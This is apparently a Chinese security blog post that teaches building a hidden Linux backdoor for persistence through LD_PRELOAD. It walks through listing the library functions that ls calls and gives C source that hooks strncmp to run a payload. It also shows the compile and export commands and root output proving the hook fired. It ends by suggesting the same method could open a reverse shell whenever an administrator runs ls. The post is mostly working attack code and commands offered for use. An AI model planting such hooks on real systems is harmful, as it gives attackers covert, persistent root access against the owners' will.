【权限维持】linux下使用动态链接库制作隐藏后门

什么是LD_PRELOAD

LD_PRELOAD 是 Linux/Unix 系统的一个环境变量,它影响程序的运行时的链接(Runtime linker),它允许在程序运行前定义优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。

如何利用LD_PRELOAD

由于 LD_PRELOAD 可以指定在程序运行前优先加载的动态链接库,那我们可以重写程序运行过程中所调用的函数并编译成动态链接库文件,然后通过指定 LD_PRELOAD 让程序优先加载的这个恶意的动态链接库,最后当程序再次运行时便会加载动态链接库中的恶意函数。具体的操作步骤如下:

  1. 定义与目标函数完全一样的函数,包括名称、变量及类型、返回值及类型等。
  2. 将包含替换函数的源码编译为动态链接库。
  3. 通过命令 export LD_PRELOAD="库文件路径”,设置要优先替换动态链接库即可
  4. 替换结束,要还原函数调用关系,用命令unset LD_PRELOAD 解除

一个简单的后门思路

当我们得知了一个系统命令所调用的库函数 后,我们可以重写指定的库函数进行劫持。这里我们以 ls 命令为例进行演示。

  1. 首先查看 ls 这一系统命令会调用哪些库函数:
[root@154-91-90-68 ~]# readelf -Ws /usr/bin/ls

Symbol table '.dynsym' contains 129 entries:
   Num:    Value          Size Type    Bind   Vis      Ndx Name
     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND 
     1: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __ctype_toupper_loc@GLIBC_2.3 (2)
     2: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __uflow@GLIBC_2.2.5 (3)
     3: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND getenv@GLIBC_2.2.5 (3)
     4: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND cap_to_text
     5: 0000000000000000     0 OBJECT  GLOBAL DEFAULT  UND __progname@GLIBC_2.2.5 (3)
     6: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND sigprocmask@GLIBC_2.2.5 (3)
     7: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND raise@GLIBC_2.2.5 (3)
     8: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND free@GLIBC_2.2.5 (3)
     9: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND localtime@GLIBC_2.2.5 (3)
    10: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __mempcpy_chk@GLIBC_2.3.4 (4)
    11: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND abort@GLIBC_2.2.5 (3)
    12: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __errno_location@GLIBC_2.2.5 (3)
    13: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND strncmp@GLIBC_2.2.5 (3)
    14: 0000000000000000     0 OBJECT  GLOBAL DEFAULT  UND stdout@GLIBC_2.2.5 (3)
    15: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND _exit@GLIBC_2.2.5 (3)
    16: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND strcpy@GLIBC_2.2.5 (3)
    17: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __fpending@GLIBC_2.2.5 (3)
    18: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND isatty@GLIBC_2.2.5 (3)
    19: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND sigaction@GLIBC_2.2.5 (3)
    20: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND iswcntrl@GLIBC_2.2.5 (3)
  1. 重写函数库进行劫持

如上图所示可以看到很多库函数,我们随便选择一个合适的进行重写即可,这里我选择的是 strncmp@GLIBC_2.2.5

  • 编写hook_strncmp.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
    // 这个函数用来编写或运行你的后门程序
    system(“id”);
}

int strncmp(const char*__s1, const char*__s2, size_t __n) {
    // 这里函数的定义可以根据报错信息进行确定
    if(getenv("LD_PRELOAD") == NULL) {
        return 0;
    }   
    unsetenv("LD_PRELOAD");
    payload();
}
  • 执行命令编译生成 hook_strcmp.so
gcc -shared -fPIC hook_strncmp.c -o hook_strncmp.so
  • 通过环境变量 LD_PRELOAD 来设置 hook_strncmp.so 能被其他调用它的程序优先加载
export LD_PRELOAD=$PWD/hook_strncmp.so
  • 最后执行 ls 发现成功执行了 id 命令, 说明此时成功劫持了 strncmp 函数。
[root@154-91-90-68 /]# ls
uid=0(root) gid=0(root) groups=0(root)
bin  boot  dev  etc  home  lib  lib64  media  mnt  opt  patch  proc  root  run  sbin  srv  sys  tmp  usr  var  www

总结

利用这种思路,我们可以制作一个隐藏得 Linux 后门,比如当管理员执行 ls 命令时会反弹一个 Shell

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值